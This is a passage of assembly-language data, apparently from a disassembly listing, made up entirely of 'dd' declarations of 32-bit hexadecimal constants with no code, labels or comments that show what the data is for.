		dd 3FCB8FF1h, 2B4354Dh,	54227BA0h, 0E08062F6h, 58AF4AEh
		dd 43031375h, 7EBF593Ch, 3589D006h, 8EFC0B88h, 1080CEECh
		dd 5A6C16FEh, 1900A673h, 0C626460h, 1848789h, 0E4E05109h
		dd 0C49AEB75h, 0A601E5B5h, 8DFF50A8h, 0D043FE3Eh, 0F892A0B0h
		dd 0CDAE2C81h, 0E4FC00ACh, 460B7165h, 3224AF17h, 154F4C00h
		dd 0F96BB8h, 0E97FF0A4h, 306AA591h, 2202AA00h, 0BCF14D09h
		dd 8F241DAEh, 64EA04FEh, 301CA136h, 801BF5B8h, 0E8109363h
		dd 913057h, 27972F13h, 1D9EEBAh, 114A8112h, 625DB200h
		dd 7ECDF2Dh, 0F4DD0EAEh, 9A3B2146h, 28F23168h, 46F00D8h
		dd 0E3BAF86Dh, 1E7400BFh, 1C0C63EFh, 5F004337h,	0D8B6D91Dh
		dd 0F0FEADAh, 7599E893h, 2716680h, 0FB00A75Ch, 0E7C02442h
		dd 1F131Bh, 0E36AFC4Bh,	62A96EC3h, 7DA528C5h, 404080C9h
		dd 0E2CBBD0Fh, 49DFBFh,	0D69A97ADh, 7500EA98h, 7E0838E8h
		dd 19425A7h, 0F9D29C11h, 7054E650h, 9538DC8Dh, 64C1800Fh
		dd 0D0FECF23h, 0A217C4Bh, 5C8D88DAh, 2F1401D6h,	3053E11Ah
		dd 0F6009C32h, 9D90F519h
		dd 0F715D6h, 3DFEF91Dh,	351B54B9h, 0FB00F0E4h, 2789F6F4h
		dd 0F5045AFh, 0A3D86CEAh, 71A492E0h, 39028A95h,	56FEBA85h
		dd 2314C0CAh, 0F8512598h, 7014BD8h, 0B096C96Eh,	1D054FAh
		dd 2BEAE2h, 5AC61BC5h, 42F489D8h, 6E056700h, 0D7E2DAE5h
		dd 0CA5307A9h, 0B0B9BFF8h, 0F391D16Fh, 3F69EF00h, 0B64E4B16h
		dd 5D905C2h, 0C0400EA5h, 9FBB593Ch, 47B95B2Eh, 0A30B9001h
		dd 98EC1419h, 0F2E800F3h, 0AB05185Dh, 1000D27Dh, 0D662B3A8h
		dd 0F86E35h, 201D3966h,	0A7BF93CCh, 95488600h, 0FFABDEDFh
		dd 26FC041Bh, 80129488h, 7EED9330h, 2E727700h, 23AA49Eh
		dd 1759FCA9h, 176CDEh, 830AC9C1h, 0B400A15Eh, 0CF9FCAE3h
		dd 0B4E29h, 1169E821h, 4BE49247h, 0DF9C1000h, 0EAF266A2h
		dd 741C1359h, 8FBCC084h, 0E31CBCC2h, 9482D505h,	0C041B0B1h
		dd 5962028Ah, 9B8098E6h, 72109480h, 761E7F6h, 26EB0340h
		dd 627CE4h, 3A740DF1h, 28F29E08h, 12B483Ch, 1BC34F2Dh
		dd 0F761EBh, 3B921F20h,	82C98DA8h, 21902203h, 272B05h
		dd 0FE5B7968h, 390C04B6h, 0E041BD00h, 1F2EFB89h, 644339CEh
		dd 52750200h, 774C9A2Ah, 1DA31E3Eh, 0DE809F01h,	0C77C8508h
		dd 0B5E3073Ah, 0C9EA5BB8h, 0F3937C00h, 1B009925h, 0FBA84584h
		dd 3EEB9A15h, 5780D6B3h, 39226152h, 85000E78h, 8ABD49EEh
		dd 1F3D6766h, 400AEC96h, 4003AC4Ch, 8EE5FE3h, 2A2B4B0Eh
		dd 3E3A80FEh, 7ACA1DEh,	0CB3F4452h, 1BAC737h, 30FB54C4h
		dd 70F91200h, 0F209E57Ch, 1874716h, 74654418h, 659CDF0h
		dd 0D2C28EE0h, 4E0B3081h, 3AE4DDFh, 0E843BF53h,	7F5659Bh
		dd 1D5060B6h, 0E9DED157h, 0EE6DF484h, 2E6441Eh,	55911240h
		dd 0A04C3133h, 5284B8h,	0BC64F5C3h, 3D3BF037h, 0AC4CD977h
		dd 26A5007Ch, 977821A2h, 0CC90093Eh, 10001E65h,	0F4CA9603h
		dd 4981607h, 0F8101D23h, 0B3E71Ah, 770C84DAh, 7FD6715h
		dd 0BF002BE8h, 375D6C4Fh, 0ED614CCh, 0E77224ADh, 0F1E20F20h
		dd 60F7F007h, 0A1009608h, 5204BF48h, 134A429Ah,	40A73F9Ch
		dd 0C06F5AC0h, 8033139h, 0C16EAD50h, 0FCC4F8FFh, 0E6BA0094h
		dd 0A5A39CDAh, 2200FA0Ch, 0D9C86F87h, 0A0982BB3h, 0D339BCh
		dd 7AD79F90h, 95C5EEE2h, 0BBAFF801h, 9D810254h,	0EA8D7884h
		dd 47ECC05Bh, 1C0BF58Ah, 1F45659h, 0F36763A9h, 0DFB430h
		dd 97500C29h, 0E84CCE0Fh, 8901120Eh, 58BEC2B9h,	67D9E0FCh
		dd 73B51C9Eh, 43B35C02h, 0C1D3417Eh, 0F2BF2788h, 0FE61AA00h
		dd 4F3A86B5h, 0C42600B1h, 0F15A59Dh, 0F30360B7h, 2DAF3D33h
		dd 321CC824h, 90BD70EEh, 81F11FCCh, 342A4111h, 6CB8ACF3h
		dd 0EE3D008Ch, 27F298C1h, 0B8E2F4B1h, 26F17EE4h, 1D707219h
		dd 0CD45C068h, 0FE30C484h, 98EA1300h, 0E4C3246h, 0E1700F7Bh
		dd 1B009B9Dh, 1E6ED77Dh, 543CBB00h, 555C1085h, 5E8B021h
		dd 5AB491D5h, 0F708019h, 4009BCD4h, 7BAC6Dh, 10C7FBF5h
		dd 0D7F6B4h, 85DF099Fh,	0C2654987h, 27B05877h, 0AF53BA01h
		dd 0A056B43Bh, 1D01A5F8h, 4055B6D1h, 0FA0385DCh, 6F0B9A19h
		dd 813E40h, 8E9D1DAAh, 0DED400C7h, 5FB42BB2h, 0FA00A5AEh
		dd 0D5F0C375h, 0F7921Ch, 51DD1F9h, 0B42D7D8Ah, 0AFC9B518h
		dd 324A30h, 8EA130D9h, 6283A09Fh, 725E5400h, 0A84DE9F6h
		dd 0D8C00D8h, 0B957EA80h, 38C0B603h, 62A18F34h,	88E1001Ch
		dd 9347F73Fh, 63002F3Ch, 1D31677Ah, 7778BD7h, 41845BC0h
		dd 4A3F05Ch, 13003FBAh,	0DF0610B7h, 76E39A02h, 0D7C12CA5h
		dd 1560728h, 0F224ACD3h, 2BAE9007h, 7CA3791Ch, 0A2CC9099h
		dd 0CDE22840h, 0C8D76098h, 7EC3201Ch, 43D09E00h, 8C5D92E7h
		dd 9BFE0Ah, 85D9947Ah, 0D16D3909h, 54D0081Fh, 35459782h
		dd 0C5286037h, 82DC0087h, 2A7DCEFCh, 1807901Ch,	78A066BCh
		dd 0D49A1780h, 1D9300E1h, 7A4AA7DAh, 903A7C0Fh,	0E0330023h
		dd 70740487h, 0B3E11DAEh, 30BB40C1h, 0B28237A0h, 0FEB8BC00h
		dd 35531907h, 0C44E0022h, 451A11ADh, 1F00E356h,	3F385434h
		dd 8EF1C2h, 0B09B855Bh,	30FBBC13h, 66863300h, 6B965347h
		dd 0F05200A4h, 9025C355h, 44003F74h, 7FBD4BD3h,	28CD5E7Ah
		dd 0F8E458E6h, 0E24809ABh, 0F280FF6Eh, 0CA4ECBB3h, 109A7400h
		dd 0EE0F313Eh, 0B11518C9h, 0DCFC28B5h, 799E400h, 0AA43F914h
		dd 60F29Eh, 5EA4AD3Bh, 4926A7E2h, 2C300800h, 0BD4257BEh
		dd 0F63302FEh, 0E7099091h, 2A701448h, 8F354C00h, 6EB0D64Ah
		dd 0D5930050h, 0E746A9A2h, 0F06D21Dh, 912D8652h, 5CD97C38h
		dd 383A98DAh, 0A5248887h, 0A72AB090h, 0CA000B8Bh, 0CE43241h
		dd 3D6A25E0h, 0D100FE1Bh, 2008FDBCh, 0EA0FA087h, 4001B9A4h
		dd 0BDF1DA93h, 864A0080h, 6B30E1Ah, 2C00A995h, 87575DB4h
		dd 440D6Dh, 6AC4D20Bh, 0A627988Ch, 0C200E298h, 9EBB495h
		dd 0EB84A0Fh, 0E5B92C26h, 13AF4363h, 0EF9A9097h, 0FF005AA5h
		dd 0D9CE6029h, 38F3642h, 77229440h, 4039F870h, 79D60C35h
		dd 73651DDh, 0B4DC0AACh, 99E7406Ah, 0BD00F8AEh,	0E9FAE429h
		dd 94E2FBh, 82BC434Ah, 0E8F677A5h, 0CCFCEC3Ah, 26A31D73h
		dd 8BAE3800h, 2BA895h, 3BD69AABh, 2CFB1FA5h, 4AE81C00h
		dd 0EF6C1A01h, 7FCE0052h, 788A412Eh, 0A80774C8h, 0A60C64D2h
		dd 4713EC7h, 0BDCD5E36h, 26E0B1C4h, 0BA9D2C8h, 8D805B1Ch
		dd 0F20F5A8Bh, 79C4F48h, 1AA539DFh, 2CD8AE30h, 6C1D307Dh
		dd 67B78702h, 1200F498h, 573BAC7Fh, 3EB851C0h, 7680B6CFh
		dd 45642877h, 0C20E9709h, 81D77C2Ch, 5492E161h,	5C13CDF8h
		dd 8E0086E0h, 1A51F39Ch, 39002EECh, 45025C4Ch, 0DE1EE9h
		dd 0C9219B23h, 27E4F922h, 5F00A490h, 0DB8FD071h, 0A5C61Dh
		dd 2081403Bh, 0FFBF8CA3h, 926F2507h, 82405613h,	11729CFh
		dd 81B751F4h, 709CF87Bh, 0B13F503Ah, 0BF52ACABh, 0A4003712h
		dd 0D8A1710h, 77792Eh, 6CF73EAFh, 0D55C9DA4h, 1ED94100h
		dd 0F55298BFh, 0FDBD3008h, 341BD67Eh, 408EF207h, 0E79079DCh
		dd 151854Dh, 0D60A9C0Dh, 206AF12Dh, 0FA7B9394h,	11B70300h
		dd 6C14E84h, 10C01CD9h,	0FF1300B2h, 29D7B114h, 9D3D4801h
		dd 57EB641h, 4E619B40h,	9C06004Fh, 0A74A1EF5h, 770023ECh
		dd 0FF450B99h, 7A2B5Bh,	39254F7Eh, 91B71E26h, 23C2CB00h
		dd 0AD0609A2h, 575C0016h, 0D1E5ECBAh, 28001478h, 8662642Ah
		dd 244475F7h, 3581856h,	0F3BBD260h, 654C2C80h, 1113DF00h
		dd 0ADF97089h, 1C97851h, 0F3A16903h, 70E695D5h,	6D017701h
		dd 0FF749453h, 2360E397h, 9093008Bh, 5B5D11F5h,	0E5009EF6h
		dd 42553814h, 8CEC12h, 2AB6D0A2h, 0B496F3BDh, 276EA607h
		dd 809EDD03h, 9A062461h, 0EF660BD2h, 680397AAh,	63A737C3h
		dd 5DB8E04Dh, 0DAF831E9h, 5C7ED01h, 9CCE214Fh, 8D6DE0h
		dd 0DCB03569h, 839A9D38h, 0EBF6AC00h, 2B3E6A11h, 2431B864h
		dd 754B812h, 40EF5A05h,	0E0CF7973h, 0ABE6BE26h,	0D6EDA700h
		dd 2EF00409h, 0A536D3h,	0C60D2BBCh, 5C064474h, 0E664CC2Dh
		dd 18330388h, 0A284390h, 0A8C9A1E8h, 0EC733Ah, 4D5EA51Dh
		dd 16EE53Dh, 0C0F8DD25h, 0D4E0D99Dh, 1C008B40h,	0F188309Bh
		dd 8DD674h, 32C6F2EDh, 0C171D998h, 42AE400h, 0E190319Bh
		dd 3BB9013Ah, 0F4256A1Bh, 4C143037h, 0FF9FEA0Eh, 45BAA003h
		dd 2283ACh, 998ABBADh, 0CD93A38Eh, 74DC607h, 6090ED9Ah
		dd 2BE1F8h, 0D9148342h
		dd 95404ADFh, 0F9FB0F01h, 0CE014997h, 0A988C0h,	4CF5C7A4h
		dd 8A269147h, 0B30037FCh, 5FFB134h, 0C84008h, 0F810288Bh
		dd 0FC9C79CDh, 0D489DB00h, 0CEBA7E4Dh, 6D630047h, 6B1FD571h
		dd 0F528C54Eh, 9E00ACE0h, 8F49C031h, 0B6AFF2h, 2F594378h
		dd 0D4101238h, 326B03Dh, 0EC642CCEh, 1130A75Dh,	1C87F0D5h
		dd 8F455F3Ah, 2689B9FAh, 0A0B60CA7h, 1BE92076h,	12012700h
		dd 9A24EFBDh, 34940002h, 0ECB0FDC3h, 300BE50h, 0FED2CB0Eh
		dd 0DB0A06h, 0ADBCDE78h, 208B2A6Ch, 824C6600h, 2330CF7Ah
		dd 22F000DFh, 4B736E16h, 2E0719EBh, 4F25185Ch, 34C7C410h
		dd 383C12C8h, 0CAAC01FFh, 0C84AEE23h, 59003394h, 0F66BA366h
		dd 171DAFA8h, 0ABB068h,	26D50FCFh, 4F00E2B4h, 0DA72485h
		dd 0ADA95Fh, 34E06C01h,	886660A3h, 576B5B17h, 8021040Bh
		dd 6D7844D2h, 872600CBh, 180D2498h, 6C006F5Dh, 9651EADEh
		dd 7AB717h, 462621D6h, 37EC7D22h, 8A815D1Eh, 891A3C3Fh
		dd 0A9FF45Eh, 1503C8D8h, 0D4588E92h, 0E2F86C80h, 0A9F86Ch
		dd 0DABC81C3h, 11BBD5B1h, 500DD300h, 4355FFC5h,	5DD10067h
		dd 6E7940D8h, 52001551h, 17866A87h, 77F84CFh, 0BE9FF02Dh
		dd 5A06D7E9h, 43160090h, 0CF7EEDE4h, 85CC1100h,	26F9126h
		dd 78597D51h, 8CCCC06Eh, 9719379Bh, 0B4B2FA13h,	5503D41Eh
		dd 0F8E42B7Fh, 0F9E73h,	0D047179Fh, 23937B0Ah, 0FA3E05B0h
		dd 0B44B1E1Ch, 652E0543h, 0B20CA01Ah, 915C001Bh, 0E6B56602h
		dd 7C004029h, 1C4BA839h, 0D2C9Ch, 3EC6D9B8h, 3FD5335Bh
		dd 80CAFD3Bh, 61DE166Ah, 12B719Fh, 0B435A462h, 0DC06C077h
		dd 0EC0052FAh, 0A08004AFh, 58C364Bh, 0D6E4C65Ah, 49B30016h
		dd 91B0FEA5h, 0C3177A00h, 0B2A1B22h, 486F0013h,	0D40FD1F7h
		dd 993BB21Fh, 2E033AF5h, 4F002857h, 68C6F195h, 10400224h
		dd 0CABE8632h, 55CCCAC0h, 6D20CB00h, 0A2BD675Bh, 1DFBF206h
		dd 801C6574h, 71405033h, 591F4118h, 2DC0DB8Ah, 0CC5F4875h
		dd 77FF000Dh, 3F5BF74Ah, 1300C635h, 163BDFA5h, 0FDD01Fh
		dd 0A18A40EBh, 84EB530h, 0A05EAA24h, 3DE48F01h,	57D8F749h
		dd 8B1F00B9h, 0DEEE7FD4h, 2B07D542h, 23FCD367h,	0C66088D1h
		dd 6274F4h, 9AB193DFh, 86D43C5Ch, 1D04B438h, 6D92FF7Eh
		dd 80FA9C0Fh, 0FBAD6561h, 8986Eh, 684B0E55h, 9F609882h
		dd 5A47B306h, 218C4Eh, 3D1A062h, 617EFA8Eh, 0D27CA898h
		dd 17706F60h, 330B9CF3h, 64318BECh, 0DDC0F2h, 0DAE725ADh
		dd 133A0056h, 0D95C096Ch, 0CF00B46Bh, 461C271Ah, 0FEAB4F1Fh
		dd 0FB68009Ah, 0A0CCA44Ch, 0BA72C524h, 0C0050E0h, 0B09C7069h
		dd 394C8756h, 0BB8FC92Bh, 0A482FE84h, 0EC80E210h, 94722FABh
		dd 81F1DA0Bh, 0D72A80E3h, 16A6EEFAh, 1C75FFEh, 0AC1A5630h
		dd 0D42C9Fh, 0ABA5F047h, 2E78FF92h, 85B473h, 0E0AEF13Eh
		dd 0E67CC748h, 4CC89D2Ch, 0C1BAE400h, 0A5EDD8h,	0E3A0FE90h
		dd 9F78503h, 75C0F00h, 626D5F41h, 1AB800A6h, 0F5378210h
		dd 0E924FB95h, 9C003889h, 6F77C0BBh, 909F0086h,	0E57E6B32h
		dd 0D9006625h, 9280E20h, 5A4954h, 0D013F631h, 333CF957h
		dd 0B8F6C05h, 0C5C0B24Eh, 0FB661Bh, 0CFD5EC69h,	5508B828h
		dd 78D00924h, 2E77A607h, 3CC005D5h, 0DC9EB7h, 7A264A13h
		dd 52A3DD53h, 478B138h,	3E0D07B2h, 8B4F1580h, 24570042h
		dd 0E4626E1Fh, 134CA4DEh, 78A1004Fh, 0FB499D75h, 161107FEh
		dd 0C0A7E35Ah, 68510ADAh, 0DE3F4771h, 405200F7h, 5A6BB433h
		dd 0F81F1881h, 417103Fh, 0FC01C37Ch, 0AF928476h, 0C0209F9Eh
		dd 0EA2800D4h, 931E5B72h, 90013C2h, 0D15AEF17h,	2E6134EDh
		dd 0E98B3FDh, 54A0BDECh, 5F5074CAh, 1D4C18BAh, 88320348h
		dd 72909Dh, 5AD6DD11h, 91A4256Bh, 7F484C0Fh, 20230485h
		dd 7DEA78D3h, 8B6A0246h, 0B5796556h, 8B28F80h, 720091E1h
		dd 0AA80412Fh, 0D90469h, 0B016A194h, 0E958FF15h, 44429900h
		dd 6A2B2A7Bh, 97210080h, 0FCCEFAFh, 0DD3EF73Bh,	2ADE00A2h
		dd 0AAE726FEh, 621B00C6h, 450D151h, 8D03BE85h, 4715F85Eh
		dd 0EEE598B3h, 27763h, 0D9E08F70h, 19737DBDh, 2BBA83Ch
		dd 455CCCE1h, 63FA601Fh, 0F3F40369h, 0CDB7A33h,	1CCF83D8h
		dd 3B595B0Bh, 2840008Dh, 0B1AD3Ch, 1E8A18C9h, 14E30A42h
		dd 0EF0E5CB9h, 8EC300A7h, 4CA10F04h, 80762856h,	2203965Dh
		dd 0D7BAF126h, 3623C72Bh, 39FD8BD1h, 0EF03DC20h, 0AA11EBDBh
		dd 0F3770D0h, 0C6774000h, 4A92684Ch, 494B009Ah,	831DD89Eh
		dd 4D732258h, 0CEEB4E00h, 66E4FA56h, 0B427038Ah, 8F418B30h
		dd 0D76993B8h, 0E70FBE07h, 9F3024FCh, 10B4648h,	40DB287Ah
		dd 0C8B61C29h, 4100A525h, 1634610Ch, 1766CE6h, 0FCA0C13Dh
		dd 0DC8F9A71h, 0E8391EB8h, 0C680008Ah, 3717AAB7h, 0AC94004Ch
		dd 0C07B1C41h, 40CECFCEh, 0EDD240EBh, 9A7EF5h, 6DE2C421h
		dd 978EC53Bh, 2EE31500h, 0AD2F0B5Bh, 0D8F407EBh, 329BD531h
		dd 789E1Ch, 0CF049300h,	0FACBC602h, 0BBE2C8h, 2596B2FEh
		dd 214DA48Ah, 0D33A7900h, 122791A1h, 68904Fh, 7D7ABD5h
		dd 5A75E3BBh, 6C4CC107h, 0CF209DEDh, 5C2ECh, 0B22AE1E2h
		dd 41D22E65h, 0F9E73F00h, 3B20D589h, 55440E45h,	0E6C173D4h
		dd 0C44941C0h, 610012DFh, 0D9B4F62h, 0B484D6h, 0A44E4B9Eh
		dd 8B41582Bh, 48011C00h, 8309DB17h, 7279CCh, 508CBC9Bh
		dd 0E34DC760h, 9489BF01h, 0D976B1BEh, 0ABDFE4h,	30BC8AE7h
		dd 1D8EA903h, 0FCC82A1Eh, 74001A1Eh, 3262BF16h,	18300F8h
		dd 34552390h, 640024C5h, 51CFDA9Eh, 1B5F425h, 0EA02EBD2h
		dd 0F01F1CD7h, 0ED0024E7h, 3C6A91F7h, 48CD9C54h, 2F0F8496h
		dd 0F1ADCEB5h, 0A4F06030h, 3800DC9Eh, 0A98B6879h, 0B1EF00DDh
		dd 70CCE494h, 351DD6C2h, 4480F93Eh, 535C394Ah, 0E4EC00A0h
		dd 64FD07B8h, 1600421Ch, 0B93682F2h, 0B491D1h, 4B693ECBh
		dd 0D4BFC5B7h, 8538E901h, 26167C24h, 0F3DD060h,	651B0182h
		dd 0E6A5D540h, 0E7720D11h, 40926707h, 39A02D0Bh, 704ED35Ah
		dd 48990090h, 590DF770h, 0A700F9AAh, 0F21B9FD7h, 5758D17h
		dd 0C2D6BFBBh, 80D9C4D4h, 0EF33AC04h, 583A882Eh, 0C4F6EC00h
		dd 0FEC736E0h, 4FE4E2h,	0A81A559Fh, 6FDF211Ch, 220E4200h
		dd 682A2C7Ah, 57D51DD2h, 0AE610773h, 3500B9B3h,	23ECFD41h
		dd 2854A600h, 0F1D05DC8h, 5553007Fh, 3F5E7207h,	0B004557h
		dd 191A1220h, 7981F8h, 0A0CE29DCh, 16FC39EAh, 90072CF0h
		dd 95BB4A3Ch, 15E1F060h, 54EC00A1h, 0F1C2E371h,	73000516h
		dd 570EAC7Eh, 309C05Fh,	88765518h, 0F3CB08E9h, 0A78023D3h
		dd 0CE00AB66h, 7624C4FCh, 90077C91h, 49AF00D6h,	0C98675DCh
		dd 78007744h, 0BA085187h, 0C0EEB97Ch, 7322640h,	18006198h
		dd 0F6B4DF97h, 1D78C2h,	0D940678Eh, 7BFAC96Fh, 55DCA61Fh
		dd 18C72C5Ch, 4520D63Ch, 62739Ah, 0ADBD6139h, 69B5E649h
		dd 92A65B00h, 0D8B46022h, 57CF0052h, 361C7A11h,	0A3001E1Bh
		dd 5E26957Ch, 48E2E78Fh, 86063303h, 48F62CDDh, 1DEEAA0Eh
		dd 0B607C0B0h, 6CD5FCh,	0B7B9E55Eh, 42AF96C0h, 8F369500h
		dd 923DE6DFh, 50870035h, 0AB803CB3h, 3F7E75C6h,	13675300h
		dd 5EEA2D8Fh, 98600052h, 0A29F0CFAh, 0DC0332B5h, 4778167Eh
		dd 6620AF68h, 1CC8051Ch, 0C0B86Ah, 73991E0Ah, 4813F0EBh
		dd 100C72E7h, 3A12486Bh
		dd 3883E893h, 0CC6F01A0h, 2C8BEE8h, 7C00AE79h, 88F93272h
		dd 5F857Bh, 0E60F4029h,	4EB4713Eh, 0D840601h, 0B16F6D18h
		dd 0C5C2FC8h, 7A81CA03h, 0EC035111h, 0B39FD47Fh, 0FD5BD07Dh
		dd 274924C8h, 840C064Ah, 0CF009879h, 828C0403h,	30F7AC3Dh
		dd 0CD182CEEh, 56F0E76Fh, 10E85C32h, 97A8C077h,	0E29F0198h
		dd 0BF27A136h, 8E3370B5h, 10008177h, 80AE6DC7h,	11CF3Eh
		dd 7F4D28Bh, 7948F104h,	623C2BF8h, 822D9864h, 0B2F781h
		dd 3E3A70B1h, 4EC6AF93h, 9775B078h, 3D33AB00h, 1D16D749h
		dd 9AD40313h, 0B4762E9h, 83EB5002h, 61863E33h, 0B450DD3Ah
		dd 1351BFECh, 7C0167Fh,	205EEF9Fh, 0DE447A40h, 0B7647700h
		dd 0DF2A121Dh, 0CB7B2Eh, 19860C3Ah, 211AA19Ah, 0F5817000h
		dd 305322F8h, 0B780007Fh, 61558FEEh, 4200C1E1h,	0C6FD3DF9h
		dd 0F430CC9h, 0BCEB9973h, 261B7FE0h, 3D1EB99Eh,	0F540AF3Ch
		dd 14E501A1h, 0BE9C3A50h, 0D9F0D400h, 4503D0C8h, 997A3F03h
		dd 0C5022E79h, 41AB9440h, 625033h, 85AC1840h, 81A1E7BDh
		dd 92DE0518h, 2ADCBBE8h, 84FAA3h, 335F1F84h, 207C0A98h
		dd 0F819F560h, 0DEEF07h, 0A0BE5C0Fh, 2CDB9B9Dh,	0E28D8E00h
		dd 0E673DF2Bh, 0D760252Ah, 0A2008458h, 59B1BD29h, 6E68ADh
		dd 8992EB21h, 97CE36D6h, 8C3260C2h, 0DAF00040h,	74501B33h
		dd 0FEF4BF08h, 0AA017778h, 0E30FD927h, 9180F987h, 13649497h
		dd 0E0E7056Dh, 0D907C1F3h, 99728402h, 0C07C8E1Eh, 0DB974A3Bh
		dd 0E2CCE99Eh, 2EE01E29h, 420200E1h, 0B957FD9Ah, 53198D75h
		dd 3F08B5AEh, 0B3ED2180h, 2E5666FDh, 4E021C7Dh,	0C6FFAC75h
		dd 2A6BE064h, 0D63F18C9h, 9DF43021h, 8A70DE00h,	2342BBD3h
		dd 75B0EA87h, 0EB6007B6h, 700F1722h, 8278AE2Dh,	0C5395900h
		dd 6562F740h, 0A0F670EBh, 83850410h, 8262891Dh,	784DA706h
		dd 4C440011h, 9261CA42h, 0F8332C73h, 76087Ah, 4257B721h
		dd 0A7D04533h, 9779431Eh, 0E3D41940h, 73C92B03h, 401600BDh
		dd 0CE54FFADh, 0D0C0A38Fh, 22694DBEh, 4E4034Ch,	3CDA137Ah
		dd 68269800h, 17E190A5h, 259E007Fh, 54A444BFh, 0DE076639h
		dd 31595BBBh, 64297A60h, 0B77275h, 0F4A76E1h, 61FAC112h
		dd 0B07CEF00h, 268E2A8Fh, 5DCA0070h, 0BDB338ADh, 0F23E95FCh
		dd 4C06878Bh, 0AAE05FCCh, 2B13B6h, 4510875Ch, 64F56E47h
		dd 0DA075FB0h, 0AF8D1990h, 5DFE2710h, 265600D9h, 4ED79BFBh
		dd 31038B1Ah, 0B4191BA6h, 506CB886h, 9A2701DBh,	102E67C6h
		dd 0CA26E013h, 999D9C00h, 0E521493Eh, 11A06664h, 0AE1B09A1h
		dd 0F8109EA2h, 0B98A43h, 0C1172385h, 0E264C827h, 46988200h
		dd 5BD1C9AEh, 2BB719ACh, 8A3298Ch, 99812028h, 22D03D22h
		dd 0CF1030C2h, 7F1132A8h, 3A612168h, 0DB421BA2h, 0A7EFE008h
		dd 13039511h, 98FE7A79h, 0ADE6E287h, 3768540h, 4C51507h
		dd 79814AA5h, 0D6FD6C3Ch, 0FF2CF8h, 0E0811691h,	44792B1h
		dd 0B940D500h, 5877239Ah, 0F04500DBh, 0A9F41814h, 26E65E6Dh
		dd 2B21FC03h, 0A8676219h, 2517ABh, 0F5B871F2h, 130AE312h
		dd 0D954F100h, 0B0BCD64Eh, 0DA0D00C4h, 1076D4D3h, 5B006B4Ah
		dd 42355005h, 0E0C18h, 0E9B643BDh, 9536E44Bh, 19EE1471h
		dd 5A69101h, 9EAA042Ah,	8772C3DAh, 0E2A3C730h, 5A3A0794h
		dd 302BA120h, 55B71898h, 5FBDC07h, 0CA7087CEh, 77745Fh
		dd 0BEEFB57Ch, 80AA7649h, 4AB078FCh, 8E81AB0Fh,	5961A0DCh
		dd 1EC27AFEh, 43F63528h, 607952E1h, 3FABF3E7h, 0E94611F8h
		dd 0EFEBF00Fh, 0EAB3E045h, 62C42Ah, 3B0593FAh, 0ECA3B9B6h
		dd 72982B01h, 0C5D6434Dh, 7D762087h, 45BB30FFh,	3603C4A7h
		dd 8D89D51h, 0CBF4F8CAh, 0D54A0E6Eh, 0DC0145Eh,	0B532E68Ah
		dd 81B6C73Ah, 0F4514F81h, 54D05342h, 0A7AE018Dh, 0A0F6AFF7h
		dd 3639D004h, 12668C4Ch, 60035B09h, 88CA5073h, 0FA6021h
		dd 997E63B3h, 0BEC78A6h, 6E14F900h, 72FD1287h, 0E4661D86h
		dd 0B645C0F6h, 1731AD0Ch, 8CE6E00h, 8665A135h, 80021C06h
		dd 0E21C0A4h, 0BAFB5B32h, 0D00ADE4h, 0CB065CA2h, 0AA6F28h
		dd 801AC5E6h, 58AB62B5h, 183D3A00h, 0EAC2ECA6h,	32D407C9h
		dd 2001F87Fh, 38B8E719h, 0D00043EEh, 0C15585B7h, 2C27F53h
		dd 45DF24FDh, 5760F041h, 30C067A2h, 0AA16A671h,	599D254Ch
		dd 140C1970h, 2054138Fh, 0F8F900D8h, 978AD494h,	0D000B15Dh
		dd 0C7EEE1CEh, 0EC2C6F69h, 94A70038h, 40AA0A2Bh, 0F7E05BFh
		dd 4803C800h, 0F6C6775Eh, 0E1A4A043h, 6B7806C0h, 60CF1F66h
		dd 63FED900h, 0D46AB122h, 0DC711FC7h, 0AF4A0353h, 81ECF489h
		dd 0E4EB8190h, 180EF50Dh, 0A0796EC4h, 3C89D9DCh, 5E9B03BDh
		dd 0B7A72E5Fh, 0FE0F12A8h, 90B50426h, 61ED500h,	7DBBA16h
		dd 719666D7h, 0BCD340D4h, 94005175h, 0C180F79Dh, 658A8Dh
		dd 9A1FA516h, 5DE3EE36h, 0B5F9E707h, 0C5C007E0h, 95C624h
		dd 8213A21Ah, 0F506BF2Ah, 8DEF5100h, 9A05CD5Bh,	0A7890ACBh
		dd 0F06B7Bh, 16113291h,	800C9DAh, 4976EBD4h, 29A1E3h, 0C7D3F5F4h
		dd 12F8A74Bh, 86E2B100h, 0F601BE57h, 0F3FD00D4h, 4015DAB6h
		dd 0F400B8A6h, 75CA3A3Fh, 37C21F8h, 4EA9BE2Ah, 40168C8Dh
		dd 1509936Fh, 0E25021F0h, 4D10E75Ch, 69003662h,	0D6684BFEh
		dd 0EE579ACAh, 5C0E266Ah, 0DEAA0100h, 0DC72C9F2h, 23006977h
		dd 9936E5E0h, 567611h, 41CDCAC7h, 3AA1B4B6h, 1C499400h
		dd 39F64A66h, 0E07153h,	0C5D77BE1h, 0F2110C63h,	0D601A0EAh
		dd 0B37C3EFDh, 0A0203C93h, 8AA1078Ch, 60540410h, 14793241h
		dd 5DE0A000h, 9A3B8F13h, 69BC00B6h, 3E93F4Ch, 5900C86Bh
		dd 0B9ECC999h, 740B2272h, 0FDB600CBh, 2032358Bh, 5800E2AEh
		dd 0ECC1139Bh, 821202h,	0BAA0E5BBh, 0B601B4C6h,	5C3E0600h
		dd 361EF994h, 40900019h, 0FC3F1A25h, 0BF1D302Ah, 86001CD0h
		dd 2E12DA04h, 1828B80Eh, 2823DDC5h, 840282ADh, 0CB1E7E27h
		dd 44C0F583h, 6716AF0Bh, 701C928Ch, 1ED74441h, 0CB4095B6h
		dd 7FF16370h, 0E8740319h, 0DAEBF27Dh, 30C4F80h,	8B1B9F01h
		dd 6246D8E2h, 0F318EC0h, 0A13CE390h, 403BB41h, 20C2FEB9h
		dd 0E097C040h, 0C3616D00h, 8E05493Fh, 3D310064h, 0F8281736h
		dd 7700F008h, 6C5E12E6h, 1AE4386h, 10FEC15Dh, 0C057C91Eh
		dd 8E00A5A2h, 68DD53ABh, 76804Dh, 4499FEC5h, 0B53BFFA3h
		dd 0DA123A07h, 71D30397h, 0F9EAB85Dh, 0A50B00CCh, 26086A02h
		dd 3409B86Eh, 80201718h, 5F7D29EAh, 912D09E0h, 40025A6Bh
		dd 0D841770Dh, 0E4118056h, 0C3F60E31h, 0EED100FCh, 0BE407B28h
		dd 0FAB82668h, 0E56CC913h, 0F140A05Fh, 0CA1866FBh, 504600DBh
		dd 9172D90Fh, 2098D629h, 8D264A00h, 0E90E237Ch,	25A30048h
